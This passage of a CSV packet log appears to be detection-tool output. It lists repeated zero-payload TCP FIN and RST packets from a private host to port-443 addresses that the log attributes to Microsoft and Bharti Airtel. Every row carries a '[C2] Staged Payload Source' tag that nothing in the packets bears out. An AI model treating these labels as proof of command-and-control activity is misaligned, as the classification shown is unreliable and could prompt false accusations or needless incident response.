\"\"ack\"\": 1444010957, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 1021, \"\"chksum\"\": 18549, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-26 14:28:32.581699,32,TCP 192.168.122.168:49957 -> 13.107.42.254:443,192.168.122.168,13.107.42.254,49957,443,TCP,Internal,Private Network,,,,,,United States,Unknown,8068,Microsoft Corporation,37.751,-97.822,13.107.42.0/24,FA,,,Ether > IP > TCP,3,TCP FA Seq=4194378438 Ack=1765244119,525400577f945254007bb7920800450000282a1b400080065cfbc0a87aa80d6b2afec32501bbfa0122c669377cd7501103fb73d40000,\"RT.W..RT.{....E..(*.@...\\...z.\nk*..%....\"\".i7|.P...s...\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 10779, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 23803, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"13.107.42.254\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49957, \"\"dport\"\": 443, \"\"seq\"\": 4194378438, \"\"ack\"\": 1765244119, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 1019, \"\"chksum\"\": 29652, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-26 14:28:32.581767,33,TCP 192.168.122.168:49955 -> 13.107.3.254:443,192.168.122.168,13.107.3.254,49955,443,TCP,Internal,Private Network,,,,,,United States,Unknown,8068,Microsoft Corporation,37.751,-97.822,13.107.0.0/22,FA,,,Ether > IP > TCP,3,TCP FA Seq=654304944 Ack=1203919404,525400577f945254007bb792080045000028592c4000800654eac0a87aa80d6b03fec32301bb26ffe6b047c25a2c501103fb4cd40000,\"RT.W..RT.{....E..(Y,@...T...z.\nk...#..&...G.Z,P...L...\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 22828, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 21738, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"13.107.3.254\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49955, \"\"dport\"\": 443, \"\"seq\"\": 654304944, \"\"ack\"\": 1203919404, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 1019, \"\"chksum\"\": 19668, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-26 14:28:33.784793,34,TCP 192.168.122.168:49957 -> 13.107.42.254:443,192.168.122.168,13.107.42.254,49957,443,TCP,Internal,Private Network,,,,,,United States,Unknown,8068,Microsoft Corporation,37.751,-97.822,13.107.42.0/24,FA,,,Ether > IP > TCP,3,TCP FA Seq=4194378438 Ack=1765244119,525400577f945254007bb7920800450000282a1c400080065cfac0a87aa80d6b2afec32501bbfa0122c669377cd7501103fb73d40000,\"RT.W..RT.{....E..(*.@...\\...z.\nk*..%....\"\".i7|.P...s...\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 10780, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 23802, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"13.107.42.254\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49957, \"\"dport\"\": 443, \"\"seq\"\": 4194378438, \"\"ack\"\": 1765244119, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 1019, \"\"chksum\"\": 29652, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-26 14:28:33.784891,35,TCP 192.168.122.168:49955 -> 13.107.3.254:443,192.168.122.168,13.107.3.254,49955,443,TCP,Internal,Private Network,,,,,,United States,Unknown,8068,Microsoft Corporation,37.751,-97.822,13.107.0.0/22,FA,,,Ether > IP > TCP,3,TCP FA Seq=654304944 Ack=1203919404,525400577f945254007bb792080045000028592d4000800654e9c0a87aa80d6b03fec32301bb26ffe6b047c25a2c501103fb4cd40000,\"RT.W..RT.{....E..(Y-@...T...z.\nk...#..&...G.Z,P...L...\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 22829, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 21737, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"13.107.3.254\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49955, \"\"dport\"\": 443, \"\"seq\"\": 654304944, \"\"ack\"\": 1203919404, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 1019, \"\"chksum\"\": 19668, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-26 14:28:33.853838,36,TCP 192.168.122.168:49956 -> 131.253.33.254:443,192.168.122.168,131.253.33.254,49956,443,TCP,Internal,Private Network,,,,,,United States,Unknown,8068,Microsoft Corporation,37.751,-97.822,131.253.33.224/27,FA,,,Ether > IP > TCP,3,TCP FA Seq=1857739733 Ack=4241599660,525400577f945254007bb792080045000028a513400080067470c0a87aa883fd21fec32401bb6ebadbd5fcd1acac501103fbe1660000,RT.W..RT.{....E..(..@...tp..z...!..$..n.......P....f..,[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 42259, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 29808, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"131.253.33.254\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49956, \"\"dport\"\": 443, \"\"seq\"\": 1857739733, \"\"ack\"\": 4241599660, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 1019, \"\"chksum\"\": 57702, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-26 14:28:33.853919,37,TCP 192.168.122.168:49958 -> 204.79.197.222:443,192.168.122.168,204.79.197.222,49958,443,TCP,Internal,Private Network,,,,,,United States,Unknown,8068,Microsoft Corporation,37.751,-97.822,204.79.196.0/23,FA,,,Ether > IP > TCP,3,TCP FA Seq=4216733383 Ack=974826609,525400577f945254007bb7920800450000280157400080062bfac0a87aa8cc4fc5dec32601bbfb563ec73a1aac71501103fdcd990000,RT.W..RT.{....E..(.W@...+...z..O...&...V>.:..qP.......,[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 343, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 11258, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"204.79.197.222\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49958, \"\"dport\"\": 443, \"\"seq\"\": 4216733383, \"\"ack\"\": 974826609, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 1021, \"\"chksum\"\": 52633, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-26 14:28:33.853936,38,TCP 192.168.122.168:49954 -> 23.48.245.217:443,192.168.122.168,23.48.245.217,49954,443,TCP,Internal,Private Network,,,,,,India,New Delhi,9498,BHARTI Airtel Ltd.,28.6327,77.2198,23.48.245.0/24,FA,,,Ether > IP > TCP,3,TCP FA Seq=226525659 Ack=1444010957,525400577f945254007bb79208004500002812df400080069f96c0a87aa81730f5d9c32201bb0d8081db5611dbcd501103fd48750000,\"RT.W..RT.{....E..(..@.......z..0...\"\"..\n...V...P...Hu..\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 4831, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 40854, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"23.48.245.217\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49954, \"\"dport\"\": 443, \"\"seq\"\": 226525659, \"\"ack\"\": 1444010957, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 1021, \"\"chksum\"\": 18549, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-26 14:28:36.284163,39,TCP 192.168.122.168:49957 -> 13.107.42.254:443,192.168.122.168,13.107.42.254,49957,443,TCP,Internal,Private Network,,,,,,United States,Unknown,8068,Microsoft Corporation,37.751,-97.822,13.107.42.0/24,FA,,,Ether > IP > TCP,3,TCP FA Seq=4194378438 Ack=1765244119,525400577f945254007bb7920800450000282a1d400080065cf9c0a87aa80d6b2afec32501bbfa0122c669377cd7501103fb73d40000,\"RT.W..RT.{....E..(*.@...\\...z.\nk*..%....\"\".i7|.P...s...\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 10781, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 23801, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"13.107.42.254\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49957, \"\"dport\"\": 443, \"\"seq\"\": 4194378438, \"\"ack\"\": 1765244119, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 1019, \"\"chksum\"\": 29652, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-26 14:28:36.284220,40,TCP 192.168.122.168:49955 -> 13.107.3.254:443,192.168.122.168,13.107.3.254,49955,443,TCP,Internal,Private Network,,,,,,United States,Unknown,8068,Microsoft Corporation,37.751,-97.822,13.107.0.0/22,FA,,,Ether > IP > TCP,3,TCP FA Seq=654304944 Ack=1203919404,525400577f945254007bb792080045000028592e4000800654e8c0a87aa80d6b03fec32301bb26ffe6b047c25a2c501103fb4cd40000,\"RT.W..RT.{....E..(Y.@...T...z.\nk...#..&...G.Z,P...L...\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 22830, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 21736, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"13.107.3.254\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49955, \"\"dport\"\": 443, \"\"seq\"\": 654304944, \"\"ack\"\": 1203919404, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 1019, \"\"chksum\"\": 19668, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-26 14:28:36.362379,41,TCP 192.168.122.168:49956 -> 131.253.33.254:443,192.168.122.168,131.253.33.254,49956,443,TCP,Internal,Private Network,,,,,,United States,Unknown,8068,Microsoft Corporation,37.751,-97.822,131.253.33.224/27,FA,,,Ether > IP > TCP,3,TCP FA Seq=1857739733 Ack=4241599660,525400577f945254007bb792080045000028a51440008006746fc0a87aa883fd21fec32401bb6ebadbd5fcd1acac501103fbe1660000,RT.W..RT.{....E..(..@...to..z...!..$..n.......P....f..,[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 42260, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 29807, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"131.253.33.254\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49956, \"\"dport\"\": 443, \"\"seq\"\": 1857739733, \"\"ack\"\": 4241599660, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 1019, \"\"chksum\"\": 57702, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-26 14:28:36.362465,42,TCP 192.168.122.168:49958 -> 204.79.197.222:443,192.168.122.168,204.79.197.222,49958,443,TCP,Internal,Private Network,,,,,,United States,Unknown,8068,Microsoft Corporation,37.751,-97.822,204.79.196.0/23,FA,,,Ether > IP > TCP,3,TCP FA Seq=4216733383 Ack=974826609,525400577f945254007bb7920800450000280158400080062bf9c0a87aa8cc4fc5dec32601bbfb563ec73a1aac71501103fdcd990000,RT.W..RT.{....E..(.X@...+...z..O...&...V>.:..qP.......,[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 344, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 11257, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"204.79.197.222\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49958, \"\"dport\"\": 443, \"\"seq\"\": 4216733383, \"\"ack\"\": 974826609, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 1021, \"\"chksum\"\": 52633, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-26 14:28:36.362483,43,TCP 192.168.122.168:49954 -> 23.48.245.217:443,192.168.122.168,23.48.245.217,49954,443,TCP,Internal,Private Network,,,,,,India,New Delhi,9498,BHARTI Airtel Ltd.,28.6327,77.2198,23.48.245.0/24,FA,,,Ether > IP > TCP,3,TCP FA Seq=226525659 Ack=1444010957,525400577f945254007bb79208004500002812e0400080069f95c0a87aa81730f5d9c32201bb0d8081db5611dbcd501103fd48750000,\"RT.W..RT.{....E..(..@.......z..0...\"\"..\n...V...P...Hu..\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 4832, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 40853, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"23.48.245.217\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49954, \"\"dport\"\": 443, \"\"seq\"\": 226525659, \"\"ack\"\": 1444010957, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 1021, \"\"chksum\"\": 18549, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-26 14:28:41.085381,44,TCP 192.168.122.168:49957 -> 13.107.42.254:443,192.168.122.168,13.107.42.254,49957,443,TCP,Internal,Private Network,,,,,,United States,Unknown,8068,Microsoft Corporation,37.751,-97.822,13.107.42.0/24,FA,,,Ether > IP > TCP,3,TCP FA Seq=4194378438 Ack=1765244119,525400577f945254007bb7920800450000282a1e400080065cf8c0a87aa80d6b2afec32501bbfa0122c669377cd7501103fb73d40000,\"RT.W..RT.{....E..(*.@...\\...z.\nk*..%....\"\".i7|.P...s...\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 10782, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 23800, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"13.107.42.254\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49957, \"\"dport\"\": 443, \"\"seq\"\": 4194378438, \"\"ack\"\": 1765244119, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 1019, \"\"chksum\"\": 29652, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-26 14:28:41.085449,45,TCP 192.168.122.168:49955 -> 13.107.3.254:443,192.168.122.168,13.107.3.254,49955,443,TCP,Internal,Private Network,,,,,,United States,Unknown,8068,Microsoft Corporation,37.751,-97.822,13.107.0.0/22,FA,,,Ether > IP > TCP,3,TCP FA Seq=654304944 Ack=1203919404,525400577f945254007bb792080045000028592f4000800654e7c0a87aa80d6b03fec32301bb26ffe6b047c25a2c501103fb4cd40000,\"RT.W..RT.{....E..(Y/@...T...z.\nk...#..&...G.Z,P...L...\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 22831, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 21735, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"13.107.3.254\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49955, \"\"dport\"\": 443, \"\"seq\"\": 654304944, \"\"ack\"\": 1203919404, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 1019, \"\"chksum\"\": 19668, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-26 14:28:41.163498,46,TCP 192.168.122.168:49956 -> 131.253.33.254:443,192.168.122.168,131.253.33.254,49956,443,TCP,Internal,Private Network,,,,,,United States,Unknown,8068,Microsoft Corporation,37.751,-97.822,131.253.33.224/27,FA,,,Ether > IP > TCP,3,TCP FA Seq=1857739733 Ack=4241599660,525400577f945254007bb792080045000028a51540008006746ec0a87aa883fd21fec32401bb6ebadbd5fcd1acac501103fbe1660000,RT.W..RT.{....E..(..@...tn..z...!..$..n.......P....f..,[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 42261, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 29806, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"131.253.33.254\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49956, \"\"dport\"\": 443, \"\"seq\"\": 1857739733, \"\"ack\"\": 4241599660, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 1019, \"\"chksum\"\": 57702, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-26 14:28:41.163578,47,TCP 192.168.122.168:49958 -> 204.79.197.222:443,192.168.122.168,204.79.197.222,49958,443,TCP,Internal,Private Network,,,,,,United States,Unknown,8068,Microsoft Corporation,37.751,-97.822,204.79.196.0/23,FA,,,Ether > IP > TCP,3,TCP FA Seq=4216733383 Ack=974826609,525400577f945254007bb7920800450000280159400080062bf8c0a87aa8cc4fc5dec32601bbfb563ec73a1aac71501103fdcd990000,RT.W..RT.{....E..(.Y@...+...z..O...&...V>.:..qP.......,[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 345, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 11256, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"204.79.197.222\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49958, \"\"dport\"\": 443, \"\"seq\"\": 4216733383, \"\"ack\"\": 974826609, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 1021, \"\"chksum\"\": 52633, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-26 14:28:41.163595,48,TCP 192.168.122.168:49954 -> 23.48.245.217:443,192.168.122.168,23.48.245.217,49954,443,TCP,Internal,Private Network,,,,,,India,New Delhi,9498,BHARTI Airtel Ltd.,28.6327,77.2198,23.48.245.0/24,FA,,,Ether > IP > TCP,3,TCP FA Seq=226525659 Ack=1444010957,525400577f945254007bb79208004500002812e1400080069f94c0a87aa81730f5d9c32201bb0d8081db5611dbcd501103fd48750000,\"RT.W..RT.{....E..(..@.......z..0...\"\"..\n...V...P...Hu..\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 4833, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 40852, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"23.48.245.217\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49954, \"\"dport\"\": 443, \"\"seq\"\": 226525659, \"\"ack\"\": 1444010957, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 1021, \"\"chksum\"\": 18549, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-26 14:28:50.778945,49,TCP 192.168.122.168:49957 -> 13.107.42.254:443,192.168.122.168,13.107.42.254,49957,443,TCP,Internal,Private Network,,,,,,United States,Unknown,8068,Microsoft Corporation,37.751,-97.822,13.107.42.0/24,RA,,,Ether > IP > TCP,3,TCP RA Seq=4194378439 Ack=1765244119,525400577f945254007bb7920800450000282a1f400080065cf7c0a87aa80d6b2afec32501bbfa0122c769377cd75014000073d40000,\"RT.W..RT.{....E..(*.@...\\...z.\nk*..%....\"\".i7|.P...s...\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, 